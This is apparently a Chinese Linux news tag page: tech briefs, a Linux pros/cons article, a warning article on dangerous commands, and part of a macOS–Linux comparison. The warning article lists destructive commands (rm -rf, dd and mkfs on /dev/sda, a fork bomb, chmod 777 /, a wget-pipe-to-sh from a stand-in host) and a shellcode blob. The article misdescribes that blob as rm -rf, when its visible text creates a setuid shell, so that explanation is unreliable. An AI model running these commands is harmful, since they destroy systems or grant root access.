标签 Linux 下的文章

微软为 Linux 内核提供了套娃支持

微软提交了一个一百多行的补丁,使 Linux 内核可以在嵌套的微软虚拟化管理程序(MSHV)下运行,即可以在 Hyper-V 虚拟机中运行 Hyper-V 虚拟机。

消息来源:Phoronix
老王点评:你真的需要在套娃运行 Linux 吗?你可以试试。

能打败顶尖的围棋 AI 却会输给业余选手

自从 AlphaGo 使用神经网络而通过自我对弈精通围棋后,人类就一败涂地了。研究人员创建了一个对抗性的围棋程序,使用一些超乎常规的下法训练,它在与业余棋手的对弈中败北,但是却可以打败一个顶尖的开源围棋 AI KataGo。KataGo 使用数百万次自我对弈学习围棋,但这仍然不足以覆盖所有可能的情况,留下了可利用的漏洞。研究显示,达到人类水平的 AI 往往会犯一些非常奇怪的错误,以让人类感到惊讶的方式失败。

消息来源:Ars Technica
老王点评:不按套路出牌,连 AI 都受不了。

Linux 内核中出现一个丑陋的“黑科技”

安全研究人员在 Linux 主线内核中发现了一个已经存在三年的“黑科技”:Linux 内核会识别以 “X” 字母开始的进程,并返回“不支持原子模式设置”的错误。这个丑陋的“黑科技”是为了解决旧版本的 X.Org 服务器中的一个错误。但由于没有人愿意再维护 X11,于是这个补丁的提交者觉得,与其修复有问题的代码,不如调整内核以绕开。但事实上这只是检查第一个字母是否是 “X”,扩大了打击面,因为不是所有以 “X” 开头的进程都是 X.Org 的进程。

消息来源:Phoronix
老王点评:这样丑陋的代码显然会被 Linus 破口大骂的,不知道怎么悄悄潜入到内核当中的。

systemd 创始人认为 Linux 的启动并不安全

已经加入了微软的 systemd 创始人 Lennart Poettering 认为,在启用了安全启动的硬件上,虽然启动过程(包括内核)是签名的,但下一步,即加载 initrd,却没有签名。他提议将 Linux 启动过程转移到加密签名的统一内核镜像,使用 TPM 2.0 硬件加强 Linux 系统启动过程的安全性。initrd 是“初始化内存磁盘”,恶意软件或入侵者可以在 initrd 中插入恶意代码,而且每次系统启动时都会加载该代码,即使该恶意代码的其他副本不存在于硬盘上。

消息来源:The Register
老王点评:想法是很好,但是这就是一个不透明的盒子。

Linux 内核开始为 800 Gbps 网络做准备

IEEE 已经发布了 800Gbps 网络的标准,而英伟达正在开发 800Gbps 网络硬件,其 Linux 内核驱动的开发人员确认,下一代英伟达 Spectrum ASIC 将支持 800Gbps 的速度。虽然 800Gbps 已经是目前最高端的 400Gbps 带宽的两倍,但以太网联盟今年的路线图已经将 1.6Tbps 网络作为未来几年内的计划。

消息来源:Phoronix
老王点评:Linux 内核在抛弃博物馆硬件的同时,越来越多的成为新硬件的第一批支持系统。

Fedora 40 正在为迁移到更现代的 C 语言标准做准备

1999 年发布的 C 语言标准(C99)删除了一些向后兼容的特性,然而,GCC 仍然默认接受这些过时的构造。但对这些结构体的支持让程序员感到困惑,并有可能影响 GCC 实现未来 C 标准中的功能。计划 2024 年发布的 GCC 14 编译器,正在考虑默认禁用对传统 C 语言结构的支持。LLVM 的开发者也正在考虑可能比这更早地禁用传统的 C 语言结构。Fedora 40 计划更主动地发现那些仍然依赖传统 C 语言行为的开源项目,以在 GCC 14 前就消除对旧的 C 语言标准的支持。

消息来源:Phoronix
老王点评:说是新的 C 语言标准,其实也有 20 多年了——都说程序员是喜新厌旧的,但是似乎都抱着自己用惯的语言不肯放手。

AI 成为丹麦新成立的合成党党魁

合成党是今年 5 月丹麦成立的一个新的党派,倡导人类与 AI 的和谐共处。该党派正试图在今年 11 月的丹麦议会选举中赢得一个席位。令人吃惊的是,合成党的公众形象和挂名领袖是一个名叫 Leader Lars 的 AI 聊天机器人。它根据 1970 年以来丹麦各个边缘政党的政策编程,旨在代表 20% 不参加选举的丹麦人的价值观。它通过 Discord 与民众交流。但它不会参与投票。

消息来源:VICE
老王点评:这个党派唯一不足的地方就是,成员还是人类。?

AI 专家点评各大 AI

UNDARK 对纽约大学名誉教授 Gary Marcus 进行了采访,在采访中他对当前的几个主流 AI 进行了有趣的点评:GPT-3 “其实是一个自动完成系统,可以预测下一个单词和句子。就像你的手机一样,你输入一些东西,它就会继续。它并不真正理解它周围的世界。”谷歌的 LaMDA “没有知觉,它不知道自己在说什么东西”。无人驾驶汽车“仅仅记住你所见过的大量交通情况并不能表达你真正需要了解的世界”。OpenAI 的 DALL-E “利用了人类的非故意贡献,他们也许已经签署了‘服务条款’协议,但没有认识到这一切会导致什么”。

消息来源:Undark
老王点评:简直把当前热捧的 AI 批评的一无是处,人间清醒啊。

修好了电脑的 Linus Torvalds 呼吁内核开发人员别赶 Deadline

Linus Torvalds 发布了 Linux 内核 6.1 的第一个 rc 版本,对这个版本,Torvalds 说,“不算小,但比过去几个版本小”。内核的每一个新版本都有一个为期两周的合并窗口,“企鹅皇帝”说,“在我把我的机器整理好并赶上合并窗口后,我对各种迟到的拉取请求感到有些沮丧。我以前提到过这个,但是在合并窗口的最后几天收到相当多的拉动请求,这真的很烦人。”然后他抱怨内核开发人员们没有尽早提交代码,不要“在两周内匆匆忙忙地把一个分支放在一起,然后在第二周的星期五发给 Linus。……在截止日期前熬夜完成论文的做法在高中毕业后就应该被淘汰了。你知道我说是谁”。

消息来源:The Register
老王点评:有时候看内核邮件列表里面 Torvalds 每次的邮件也挺有意思的。

开源朗读者:淮晋阳

Linux 是一个流行词,你到处都能听到与 Linux 相关的内容。人们在技术论坛上讨论它、Linux 是课程中的一部分;你最喜欢的 YouTube 技术主播在兴奋地展示构建他们的 Linux 内核;你在 Twitter 上关注的 10 倍效率开发者 10x developers 都是 Linux 粉丝。

基本上,Linux 无处不在,每个人都在谈论它,因此你可能会不自主地陷入到对错失了 “学习 Linux” 的不安中。

所以,你想知道 Linux 的优势是什么,以及它是否值得去学习。

在这篇文章中,我总结了很多 Linux 的优势和劣势。

如果你在选择 Linux 还是你喜欢的操作系统上犹豫不决,我们愿意为你提供一些帮助。

在开始之前,我们要指出的是,“Linux” 本身并不是一个操作系统,它的操作系统被称为 Linux 发行版,而且 Linux 的发行版有数百种。为简单起见,我将其称为 Linux 操作系统,而不是某个特定的 Linux 发行版。可以参考 这篇文章,来更好地理解这些东西。

使用 Linux 的优势

如果你想使用 Linux 替代现在的操作系统,那么只有当你了解 Linux 的优势,才会有意义。

如果 Linux 在你想要它做的事情上表现出色,你将永远都不会后悔你的决定。

不用购买许可证

open source proprietary illustration

你需要拥有苹果公司的设备,才能使用 macOS 作为日常使用;你需要拥有 Windows 许可证,才能使用微软的 Windows。

因此,你需要对这些东西进行一定的投资。但是,对于 Linux 呢?它是完全免费的!

与 Windows 和 macOS 相比,不仅仅是操作系统上的不同,Linux 上还有许多免费的软件包。

你无需支付许可证费用,就可以使用所有主流的 Linux 发行版。当然,你可以选择捐赠来支持该项目,但这完全取决于你自己的意愿。

此外,Linux 是完全开源的,这意味着所有人都能检查源代码的透明度。

能以最小的系统资源运行

linux mint 21 resource usage

通常,用户考虑尝试另一个操作系统,是因为他们对现有系统的性能感到沮丧。

这也是我的个人经历。我受朋友的委托,使用 Linux 来更新他们的旧笔记本电脑或经常滞后的系统。

而且,Linux 发行版能够在普通的硬件配置上运行,你不需要拥有最新最好的硬件。此外,还有专门的 轻量级 Linux 发行版 可以在较旧的硬件上运行而不会出现问题。

因此,如果你立即使用 Linux,你有更多的机会恢复你的旧系统,或在短时间内获得一个快速的计算机。

更少地受到恶意软件的威胁

malware illustration

没有操作系统可以免受恶意文件或脚本的侵害。如果你从未知来源下载并运行某些内容,则无法保证其安全性。

然而,对于 Linux,情况会更好一些。诚然,研究人员已经发现了针对 Linux 物联网设备的攻击者。但是,对于桌面 Linux,还无须担心。

恶意攻击者攻击的目标是更受家庭欢迎的平台,而 Linux 在桌面领域并没有很大的市场份额来吸引到这种关注。在某种程度上,这可能是一件好事。

你要做的就是坚持使用官方软件包,并在执行任何操作之前阅读指导说明。

另外,在 Linux 上,你也不用安装防病毒程序,来保护本机免受恶意软件的威胁。

可个性化定制

Pop!_OS 22.04 LTS

有了开源的代码,你就可以根据需要自由定制你的 Linux 体验。

当然,你需要具备一些专业知识,才能充分地定制你的 Linux。但是与 macOS 和 Windows 相比,即使你没有任何经验,也可以在 Linux 操作系统中获得更多自定义功能。

Customized Linux experience | Reddit user: u/ZB652

如果你想要个性化你的体验,并愿意付出额外的努力,那么 Linux 就非常适合你。例如,你可以参考 KDE 定制指南停靠区选项 以获得基本的自定义方法。

适用于所有人

使用 macOS 或 Windows,你只能在微软或苹果最终确定的设计/偏好选择中,做出你的选择。

但是,对于 Linux,你能发现专注于各种事情的不同的 Linux 发行版。

例如,你可以选择能始终获取最新功能的 Linux 发行版,或者你也可以选择只为你提供安全/维护更新的 Linux 发行版。

你可以使用有开箱即用、外观好看的 Linux 发行版,或提供最大程度的自定义选项的 Linux 发行版。Linux 发行版的选择是多种多样的。

我建议你从 能提供最佳用户体验的选项 开始。

完整的开发环境

如果你是软件开发人员或学习编程的学生,Linux 绝对是有优势的。许多构建工具都能在 Linux 上使用,并能够集成到 Linux 中。使用容器(Docker),你可以轻松创建专门的测试环境。

微软知道这个价值,因此它创建了 WSL,让开发人员可以在 Windows 内访问 Linux 环境。尽管如此,WSL 并没有接近真正的 Linux 体验,在 Windows 上使用 Docker 也同样如此。

但是这并不适用于网页设计,因为极为好用的 Adobe 工具并不能在 Linux 上使用。但是,如果你的工作不需要 Adobe,Linux 会是一个不错的选择。

Linux 是一项必须学习的技能!

使用 Linux 有一个学习曲线,刚开始时掌握的速度最快,之后则逐渐变得平缓,但是它给你提供了对各种事物的洞察力。

你可以通过探索和自由定制 Linux,或者仅仅是通过使用它,来了解操作系统中的事物是如何工作的。

不是每个人都知道如何使用 Linux。

因此,通过学习 Linux 来获得和扩展你对软件和计算机的知识会是一项很棒的技能。

Linux 是一个必要的工作技能

job illustration

正如我之前提及的,学习 Linux 是一个很好的技能,这不仅仅能增长你的知识,它在职业方面也很有用。

通过学习 Linux 的基础知识,你可以成为 Linux 系统管理员或安全专家,并且能胜任很多其他的工作。

因此,学习 Linux 开辟了一系列机会!

保护隐私

如果你没有微软账号,那么你就不能使用 Windows。当你启动 Windows 时,你会发现它会在很多的服务和应用中记录你的数据。

privacy windows

虽然你可以找到此类设置并禁用它们,但很明显,Windows 的默认配置不会考虑你的隐私。

而在 Linux 中,并非如此。虽然某些应用程序/发行版会有一个可选功能,让你可以与他们分享有用的东西,但这并不是什么大问题。Linux 上的大多数东西都是经过定制的,默认情况下可以为你提供最大的隐私,从而无需配置任何东西。

但是,苹果和微软会采用巧妙的策略从你的计算机收集匿名的使用数据。偶尔,他们会记录你在他们的应用商店的活动,以及当你通过你的账户登录时的信息。

自定义项目和自托管

你是一个喜欢捣鼓小发明的人吗?如果你喜欢制作电子或软件项目,Linux 会是你的发明天堂。

你可以在 诸如树莓派这样的单板机 上使用 Linux,开发出一些很酷的东西,例如复古游戏机、家庭自动化系统等等。

你也能在你自己的服务器上部署开源的软件,并维护他们。这称为自托管,它有以下的优点:

  • 减少托管费用
  • 掌控你的数据
  • 对于你的每个需求,定制应用/服务

你能直接使用 Linux 或者使用基于 Linux 的工具,来做这所有的事情。

使用 Linux 的劣势

Linux 并不是一个没有缺点的选择。任何事都具有两面性,Linux 也有一些不好的地方,包括:

不容易快速上手

too much learn illustration

学习的目的通常不在于掌握一项新技能,更重要的是尽可能快地适应。

如果用户使用某一个东西,却无法完成任务,那么它并不适合他们。对于每个操作系统也是如此。例如,使用 Windows/macOS 的用户可能不会很快适应 Linux。

你可以阅读我们的比较文章以了解 macOS 和 Linux 之间的区别

我同意一些人会比其他人学习速度更快。但是,总体而言,当你踏入 Linux 世界时,你需要付出一点努力,去学习那些不明显的东西。

多样性

虽然我们建议使用 为初学者量身定制的最佳 Linux 发行版,但一开始就选择你喜欢的版本,可能会让人不知所措。

你可能会想尝试其中多个版本,以查看最适合你的 Linux 发行版,但是这既耗时又令人十分困惑。

最好选择其中一种 Linux 发行版。但是,如果你仍然感到困惑,你可以仍旧使用 Windows/macOS。

在桌面领域的市场份额相对较低

linux desktop market share

Linux 不是流行的桌面操作系统。

这不应该是用户关心的问题。但是,如果没有大的市场占有率,就不能指望应用程序开发人员为 Linux 开发/维护工具。

当然,现在 Linux 有很多重要且流行的工具,比以往任何时候都多。但是,这仍然是一个因素,意味着并非所有好的工具/服务都可以在 Linux 上运行。

请参阅我们定期更新的关于 Linux 的市场份额 的文章,了解相关内容。

缺少专有软件

正如我上面提到的,并不是开发者都对将他们的工具/应用程序引入 Linux 感兴趣。

因此,你可能在 Linux 上找不到适用于 Windows/macOS 的所有优质专有产品。诚然,你可以使用兼容层在 Linux 上运行 Windows/macOS 程序。

但这并不总是有效。例如,你没有支持 Linux 的官方微软 365 和像 Wallpaper Engine 这样的工具。

不是游戏优先的操作系统

gaming illustration

如果你想在电脑上玩游戏,Windows 仍然是支持最新硬件和技术的最佳选择。

谈到 Linux,有很多 “如果和但是” 需要一个明确的答案。

请注意,你可以在 Linux 上玩很多现代游戏,但在各种不同的硬件上可能不会有一致的体验。正如我们的一位读者在评论中建议的那样,你可以使用 Steam Play 在 Linux 上尝试许多 Windows 独占的游戏,而不会出现潜在的障碍。

Steam Deck 正在鼓励更多的游戏开发者使他们的游戏在 Linux 上运行得更好。而且,这在不久的将来只会得到改善。因此,如果你能花点功夫在 Linux 上尝试你最喜欢的游戏,可能不会让人失望。

话虽如此,在 Linux 上玩游戏并不方便。如果你有兴趣,可以参考我们的 Linux 游戏指南 以了解更多信息。

缺少专业的技术支持

我知道不是每个人都需要技术支持。但是,一些技术支持选项能够在他们的笔记本电脑或计算机上远程指导用户/修复问题。

使用 Linux,你可以向社区寻求帮助,但它可能不像某些专业技术支持服务那样好用。

你仍然需要自己完成大部分努力,并自己尝试一些东西,并不是每个人都喜欢这样做的。

总结

我主要是 Linux 用户,但我在玩游戏时使用 Windows。虽然我偏好 Linux,但我尽力在这篇文章中对 Linux 保持中立态度,并给你足够的指导,以便你可以决定 Linux 是否适合你。

如果你打算使用 Linux,并且从未使用过它,请迈出你的第一步吧,可以参考 在虚拟机中使用 Linux 的第一步。如果你有 Windows 11,你也可以使用 WSL2。

我非常乐意收到你的评价和建议。


via: https://itsfoss.com/advantages-linux/

作者:Ankush Das 选题:lkxed 译者:chai001125 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

什么是最危险的 Linux 命令?

有人无数次问我这个问题,我一直避免回答,因为没有一个明确的危险的 Linux 命令清单

你拥有的工具使你能够控制和修改你的操作系统的每一个方面。我不是想吓唬你,但如果你不熟悉这些命令和工具,你可以很容易地把你的系统摧毁。

想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床?那会对她的成长造成损害。

这就是父母设定界限和引导孩子的地方。不要靠近火堆,不要把手指戳到电源插座上……随着孩子的成长和经验的积累,她可以把炉子打开,在壁炉里生火,插上电源线。

同样,如果你知道一些已知的风险命令,你可能会避免落入巨魔的陷阱,他们试图欺骗你运行命令,扰乱你的系统。

当你积累了经验,知道了这些命令和工具的含义和用法,用愚蠢和棘手的命令破坏你的系统的机会就会减少。

我的同事 Sreenath 收集了一些流行的危险 Linux 命令。让我们看看它们是如何干掉你的 Linux 系统的。

免责警告:如果你不清楚你在做什么,请勿尝试本文提及的这些命令,否则后果自负。

1、rm -rf /*

这个可能是在各种社交媒体上盘旋的最臭名昭著的命令。你会经常发现巨魔们在各种讨论中提及这个。

rm 命令用来删除文件/目录。标志 -r-f 表示递归地删除指定目录内的所有文件。现在,如果没有 root 权限,这个命令不会造成任何伤害。

运行 sudo rm -rf / 命令也不会产生任何问题,因为大多数发行版提供了一个故障安全选项。你需要指定 --no-preserve-root 才能实际运行它。

sudo rm -rf / --no-preserve-root

然而,一个更简单的版本可以是这样的:

sudo rm -rf /*

它将开始递归地删除根目录下的所有文件,在一段时间后,你的系统会冻结,并显示“删除文件错误”。一旦重新启动,你将被送到 grub-rescue 提示符下。

2、覆盖你的分区

如果你熟悉文件系统,你可能知道 /dev/sda 是什么。它(通常)是你的磁盘驱动器分区。> 操作符用于将其前面的命令的输出写到所提供的指定位置。

一旦你运行任何命令并把它写到 /dev/sda,比如说:

echo "Hello" > /dev/sda

这将用 Hello 字符串替换你的包含启动系统所需的所有数据的分区。

3、把所有的东西都移到黑洞

每个 Linux 系统内都有一个黑洞。而这个黑洞就是 /dev/null

无论你把什么东西扔进这个区域都会永远丢失。而且,它在丢弃数据后会将写入过程报告为成功,这是其破坏性的主要原因。

mv /home/user/* /dev/null

mv 命令 用来移动或重命名文件/目录。在上面的命令中,你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏,但你所有的个人数据都会丢失。

4、格式化你的硬盘

mkfs 是一个命令行工具,用于格式化磁盘和分区。它是一个超级方便的工具,可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。

mkfs.ext3 /dev/sda

这个命令完成了它的工作,而你最终得到了一个无法恢复的混乱的系统。

5、fork 炸弹

这个看起来很可爱的特殊字符和符号的随机组合,足以通过耗尽系统资源来冻结一个正在运行的系统。

:(){ :|:& };:

& - Shell 后台操作符。它通知 Shell 将命令放在后台。在这里,它定义了一个叫做 : 的函数,它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统冻结。

顾名思义,它自己分叉,最终成为一个连锁炸弹,吃掉了所有的系统资源。你将被迫重启系统,这并不像本列表中的其他命令那样糟糕。

6、覆盖重要的配置文件

虽然这本身不是一个命令,但它更像是一个预防性的东西。

如上所述,> 操作符是用来向文件写入的。它丢弃文件中已经存在的东西,并将提供的新数据写入文件中。

command > config_filename

现在,如果你将一些重要的配置文件作为写数据的地方,它将被取代内容,留下一个损坏的系统。

7、用垃圾数据替换分区

/dev/random 是 Linux 中的一个命令,它可以创建垃圾数据。把它和 dd 命令 以及你的分区结合起来,你就得到了一个可以让你的分区着火的燃烧弹。

dd if=/dev/random of=/dev/sda

dd 命令被用作一个低级别的复制工具。这里,它从 /dev/random 中获取随机数据,并用这些垃圾替换 /dev/sda 分区。

一个类似的效果是通过以下方式获得的:

cat /dev/urandom > filename

这里,它从 /dev/urandom(LCTT 译注:在 Linux 上,/dev/urandom 现在和 /dev/random 的等价的 )中获取垃圾数据并填入一个文件。如果不使用 Ctrl + C 终止,该文件会占据相当大的空间,这对低端系统来说可能是灾难性的。

8、将你的系统暴露给所有人

在 Linux 中,所有东西都是文件,每个 文件都有一定的权限

你可以用 ls -l 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性,但你可以用一个命令颠覆这个系统。

chmod -R 777 /

上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。

9、下载并运行恶意的内容

你如何在 Linux 中安装软件?你可以使用官方的软件包管理器或随时可以使用的软件包,如 Deb/RPM、Snap、Flatpak 等。

然而,有些软件是没有打包的,它们的开发者提供了下载和运行的 Shell 脚本。以 Homebrew 为例:

你下载一个 Shell 文件,然后以 root 身份运行它,在你的系统中安装一个软件。你看出问题了吗?

虽然它对 Homebrew 这样的官方软件有效,但在你像下面这样直接运行它之前,你应该仔细检查你所下载的 Shell 脚本的内容:

wget http://malicious_source -O- | sh

这样的命令会在你的系统中下载并运行恶意脚本,这可能会破坏你的系统的安全性。

10、伪装的命令

在 Linux 终端中,有许多方法可以运行命令。其中一种方式是十六进制编码的命令:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

虽然它看起来很花哨,但这是 rm -rf 命令的一个编码版本。它的效果与运行前面的命令相同。因此,在从互联网上复制和粘贴这些花哨的命令时,要小心谨慎。

总结

pebkac

有一个著名的计算机术语 PEBKAC:“ 问题存在于键盘和椅子之间 problem exists between keyboard and chair ”。

因为归根结底,还是要靠用户(你)来保证你不会因为盲目地运行任何危险的命令而破坏系统。

UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做,那么 UNIX 的工作就是以它所知道的最有效的方式将石头砸到脚上。

而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么,完全取决于你。

我建议做这些事情以确保更安全的体验。

  • 尝试并理解你将要运行的命令。
  • 用 Timeshift 保持你的系统设置的备份
  • 用 DejaDup 保持个人数据(主目录)的备份

正如我所说,没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中,而且根本没有尽头。

我希望这能给你一些提示,告诉你为了保持 Linux 的安全,你不应该做什么。如果你有建议,请在评论区告诉我。


via: https://itsfoss.com/dangerous-linux-commands/

作者:Abhishek Prakash 选题:lkxed 译者:wxy 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

我们经常对比 Linux 和 Windows,那 macOS 和 Linux 有什么区别呢?

Linux 和 Windows 的差异很明显,但 Linux 和 macOS 在很多人看起来却很相似。

二者都可以在命令行中运行 Unix 命令,并且与用户在 Windows 中的体验大相径庭。同时,并不是所有 Windows 上的应用和游戏可以在 macOS 和Linux 上运行。

这就是为什么一些人认为苹果公司的 macOS 是基于 Linux 的系统。但事实并非如此。 尽管有相似之处,但 macOS 并不是 Linux。

这两个类 Unix 的操作系统有很多不同之处,我将在这篇文章中指出二者的异同之处。

就让我们来比较一下苹果和橙子企鹅吧。

起源

macOS 有一段迷人的历史。它的基础是由史蒂夫·乔布斯的 NeXT 计算机公司所开发的,那时候乔布斯不在苹果公司工作。从技术上讲,它是基于 Mach 内核) 和 Unix 派生的 BSD。

那时候,NeXT 开发了 NeXTSTEP 操作系统来驱动它设计的设备和电脑。虽然它得到了一些关注,但是它并没有大获成功。之后,苹果公司恢复了史蒂夫在董事会的席位,作为交易的一部分,收购了 NeXT 公司,使得 NeXTSTEP 操作系统成为了 macOS 的基础。

这就是为什么 macOS 是结合了 Unix 组件和苹果公司的专有技术的操作系统。

相反,Linux(内核)是 Unix 的自由并开源的替代品。

Linux 不是一个操作系统,它需要一些组件比如 桌面环境 才能成为一个操作系统。有许多 基于 Linux 的操作系统,称之为发行版。

简单起见,我们将这些操作系统称为 Linux 操作系统而不是特定的发行版。

macOS 内核 vs. Linux 内核

macOS 内核的官方名称为 XNU。该 缩写 代表 “ XNU 不是 Unix XNU is Not Unix ”(LCTT 校注:典型的 GNU 式回文缩写)。根据 苹果公司的 GitHub 页面 所说,XNU 是“将卡内基梅隆大学开发的 Mach 内核,与来自 FreeBSD 的组件,和用于编写驱动程序的 C++ API 相结合的一个混合内核”。其代码的 BSD 子系统部分是 “通常在微内核系统中作为用户空间服务器实现”。Mach 部分负责底层工作,例如多任务处理、受保护内存、虚拟内存管理、内核调试支持和控制台 I/O。

macOS 内核结合了 微内核 micro kernel Mach))和 宏内核 monolithic kernel BSD)的特性,而 Linux 只是一个宏内核。宏内核 负责管理 CPU、内存、进程间通信、设备驱动程序、文件系统和系统服务器调用。

二者共同之处

macOS 利用了 Unix 组件,而 Linux 是作为 Unix 的替代品而构建的。那么,二者有什么共同点呢?

二者都可以使用 Unix 命令、bash/zsh、以及其他 shell。或许 默认 shell 会有所不同,但是你可以根据你的喜好进行设置。除此之外,我想不到二者还有什么相似之处。

大概在十年前,我们可以说 Linux/macOS 提供的应用程序都比较少。但时过境迁。多年来,二者的软件生态和游戏支持都在不断发展,我们将在本文后面讨论。

代码库:闭源与开源

open source proprietary illustration

macOS 是一个闭源的操作系统,意味着你无法看到完整的操作系统源码。

当然,可以获得 部分 macOS(大多为 GNU)库的源码。还有用来开发 macOS 和 iOS 操作系统的 XNU 内核代码。但是 你不能只用这些代码构建出一个 macOS 的克隆版,并安装在任何硬件上。

没有源码并不不是世界末日,但你会因为苹果公司保护和增强你使用电脑体验的主张和实践,而获得 更少的透明度

一些人认为出于安全的原因而应该保持闭源。然而,不论开源还是闭源都面临安全威胁。

二者的不同 是:相对于员工数量有限的苹果公司来说,由于有很多开发者在开源社区中,所以开源软件会很快得到修复。

除非你毫无保留的相信苹果,不然 Linux 的开源模式更胜一筹。

目的和用途

macOS 专为台式机和笔记本电脑使用而设计。它非常适合于 视频编辑、图形设计和音频编辑

当谈到 Linux ,你可以做很多事情。你可以将 Linux 用于:

  • 客户端
  • Toaster(希望你了解 物联网 IoT
  • 单板机
  • 服务器

当然,在各种平台上使用它的体验并不相同,但 Linux 可以针对各种用例运行。

所以,如果你喜欢 Linux,你可以选择在其他平台上也使用 Linux,以获得舒适的体验。

用户体验

当谈到用户体验,这取决于个人喜好。

macOS 提供了 令人愉悦的用户界面。细致的动画和高分辨率的壁纸、图标,这在视觉上很有吸引力。

macOS Monterey

你可以期待在整个平台上获得轻松和无缝的体验。

使用 Linux,你可以获得同样令人愉悦且易于使用的用户界面。

Zorin OS 16 Pro

不幸的是,用户体验随着不同发行版所安装的桌面环境而不同。

你可以查看 最好的桌面环境 列表。你甚至还可以选择 类似 macOS 的 Linux 发行版

例如,如果你使用 Pop!\_OS、Ubuntu、Zorin OS 或者 elementary OS ,你将获得超棒的体验。

Pop!_OS 22.04 LTS

如果你使用类似于 MX Linux 或者其他的发行版,用户体验可能无法与 macOS 相提并论。

MX Linux

总的来说,Linux 的开箱即用体验是不一致的,但如果你知道自己在做什么,它就足够了。

如果你之前使用的是 Windows,刚开始会对 Linux 的界面感到困惑。

可定制性

customizability

如果你想要一个可以让你对它的各个方面进行改动的操作系统,那 macOS 不适合你。

尽管大多情况下苹果的设计在美学上会令人愉悦,但并不是每个人都喜欢它们。

如果你想要个性化、控制,并大量定制操作系统的具体细节,Linux 应该是完美的选择。

你可以根据需要选择自定义用户界面,使用各种不同元素,并根据你的喜好尽情发挥。请查看我们的 KDE 定制 指南以探索可能性。

虽然这很好,但在 Linux 系统上自定义内容时可能会适得其反,把它搞乱。因此,你需要学习、探索你想要自定义的内容。

运行硬件要求

hardware illustration

硬件是 macOS 遭受“重创”的地方。

如果你想获得 macOS 并有良好的体验,那需要购买昂贵的苹果硬件。

例如,支持 macOS 的笔记本电脑的基本配置从 8 GB 内存256 GB 存储空间 开始,价格为 $1200 或更多。

除非你想经常使用交换空间进行多任务处理,并且已经拥有云存储空间,否则买苹果设备将是一个糟糕的主意。

相比之下,如果你不想花很多钱,但仍希望为你的系统(PC/笔记本电脑)配置一个不错的配置,那么以 800 美元左右的价格购买一台配备 16 GB 内存 + 512 GB SSD 的设备来运行 Linux 是很容易的。

个人说明:我习惯了 32 G 的内存 + 500 GB 的 SSD 存储。为了获得这种多任务处理空间(不使用交换空间),我将不得不向苹果公司支付溢价。

一些熟练的“修补匠”尝试在非苹果公司的硬件上运行 macOS。这样的系统被称为 黑苹果 Hackintosh ,但它肯定远不及在普通计算机上运行 Linux 的舒适度。

软件生态

通过苹果公司为 macOS 制作的专属应用程序或工具,可以在 macOS 上获得 一流的原生体验

是的,你可能必须购买这些应用程序。但是,与某些订阅选项不同的是,你可以通过 macOS 获得一次性购买选项。

Final Cut Pro on macOS

对于想要设计、编辑视频、编辑照片并拥有创意的用户,如果你不介意投资的话,macOS 的软件套件应该是一个不错的选择。

免费的苹果工具(如 iMovie、Keynote 等)本身就很好。将它们与 Final Cut Pro、Affinity Designer 等高级工具结合使用,你将获得世界级的编辑体验。别忘了,在 macOS 上也可以使用 Adobe 等创意工具。

此外,苹果公司对其平台上的应用程序有严格的指导方针,以增强第三方应用程序(免费或付费)的原生体验。

这就是为什么许多设计师和编辑更喜欢使用 macOS 而不是其他操作系统的原因。

对于 Linux 平台,你可以使用 很棒的自由及开源软件 来替代一些仅限于 macOS 的应用程序。除非你喜欢或有使用 macOS 特定应用程序的经验,否则你应该不会在使用适用于 Linux 的软件方面遇到问题。

kdenlive editor

原生应用的体验基于你使用的 Linux 发行版。

Planner (To-do list app for Linux)

它可能不像 macOS 那样完美,但如果你不是专业级的视频、图形编辑人员,应该没有任何问题。

在 Linux 和 macOS 上游戏

gaming illustration

虽然苹果公司在使其新的 M1/M2 芯片尽可能强大方面取得了不错的进展,但 macOS 目前对游戏的支持很差。

少数游戏可以正常工作,并且大多数都不受官方支持。说实话,为游戏而买台 Mac 并不是它的目的。

关于 Linux,许多 AAA 级游戏和独立游戏运行良好。当然,某些游戏存在一些问题。但是,随着 Valve 推动游戏对 Steam Deck 的官方支持,即使是像 《蜘蛛侠:重制》 这样的最新版本,都得到了 Steam Deck 的认可。

最终,这会帮助改善 Linux 平台对游戏的支持。

此外,考虑到 PC 显卡市场几乎恢复正常(接近或低于建议零售价),你可以获得不错的 PC 版本或笔记本电脑,而不必担心性能瓶颈。

你会花 1800 美元以上购买配备 16 GB 内存和 512 GB SSD 的 Mac,还是购买配备 32 GB 内存(或更多)和至少 1 TB SSD(或更多)的 PC/笔记本电脑?

那由你来决定。

软件包管理

package manager illustration new

软件包管理器能够让你很快地找到、安装或卸载你的操作系统中的软件。

与现有的任何系统相比,Linux 一直在包管理方面占据优势。

你可以获得 FlatpakSnapSynaptic 等开箱即用的选项。

但是,在默认情况下,Mac 用户没有任何可依赖的软件包管理器。幸运的是,像 Homebrew 这样的选项极大的方便了 macOS 用户。

当然,它还支持 Linux。因此,你可以在多个设备上使用它来简化操作。

系统升级

software update illustration

苹果公司不会发布其操作系统更新的具体计划。

